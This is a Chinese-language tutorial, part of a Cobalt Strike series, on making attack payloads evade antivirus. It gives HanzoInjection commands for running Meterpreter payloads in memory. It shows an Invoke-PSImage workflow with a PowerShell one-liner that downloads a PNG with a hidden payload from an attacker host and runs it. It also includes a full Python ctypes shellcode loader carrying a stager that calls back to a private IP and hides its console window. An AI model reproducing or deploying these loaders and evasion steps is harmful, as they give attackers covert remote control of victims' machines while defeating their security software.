Cobalt Strike（十五）使用多种方法免杀 payload
1.HanzoInjection 方法
hanzoijection是一个工具，它专注于在内存中注入任意代码，以绕过常见的防病毒解决方案
下载地址
GitHub - P0cL4bs/hanzoInjection: injecting arbitrary codes in memory to bypass common antivirus solutions
Arguments Options:
OPTION TYPE DESCRIPTION
-e,--execute [.raw] Name of file.bin, payload metasploit type raw
-p,--payload [.raw] Payload meterpreter type [RAW] requered parameter -o [output]
-o,--output [file.cs] Output generate project file.cs injection memory payload c#
-h,--help [Help] show this help and exit
Example Usage:
HanzoInjection.exe -e payload_meterpreter.bin
HanzoInjection.exe -p meterpreter.bin -o injection_memory.cs1.2 cobat strike 生成二进制文件
把整个文件上上传到目标上执行命令
HanzoInjection.exe -e payload.bin
360和或火绒都没有任何的提示
2.Invoke-PSImage
Invoke-PSImage可以将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中，并生成一行执行命令来帮助我们从文件或Web（传递-Web标记）执行它们。
它会利用图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据，虽然图片质量会受到影响，但是一般来说是看不出来有多大区别的。图片需要存储为PNG格式，由于Payload数据存储在颜色值中，因此这种格式可以进行无损压缩并且不会影响到Payload的执行。它可以接受目前绝大多数的图片类型作为输入，但输出必须为PNG格式，因为输出的图片数据需要是无损的。
图片的每一个像素都需要存储脚本的一个字节，所以你需要根据脚本中的字节数据大小来选择图片（尽可能多的像素点）。例如，Invoke-Mimikatz需要一张1920×1200的图片来存储。
工具的下载地址
Powershell -ExecutionPolicy Bypass
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web
生成成功之后它会给你一条利用的代码
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/test2.png"));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
用cs生成payload.ps1
http://example.com/test2.png这个地方就要填写你刚才生成的文件图片的地址
http://192.168.1.53:80/test2.png
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.1.53:80/test2.png"));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
打开powershell
3.python 生成免杀
执行payload的模版
from ctypes import *
import ctypes
# length: 614 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\xe8\x80\x00\x00\x00\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x43\x4f\x4d\x29\x00\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x59\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x61\x5a\x48\x89\xc1\x41\xb8\xd2\x04\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x44\x48\x89\xc1\x48\x31\xd2\x41\x58\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x6a\x0a\x5f\x48\x89\xf1\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1d\x48\xff\xcf\x74\x10\xeb\xdf\xeb\x63\xe8\xb7\xff\xff\xff\x2f\x53\x39\x70\x61\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\xc3\xe8\x35\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x31\x2e\x31\x36\x30\x00"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 1:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
修改buf
然后用python打包成exe
——————————————————————————————————————————————————————————————军人天生就舍弃了战斗的意义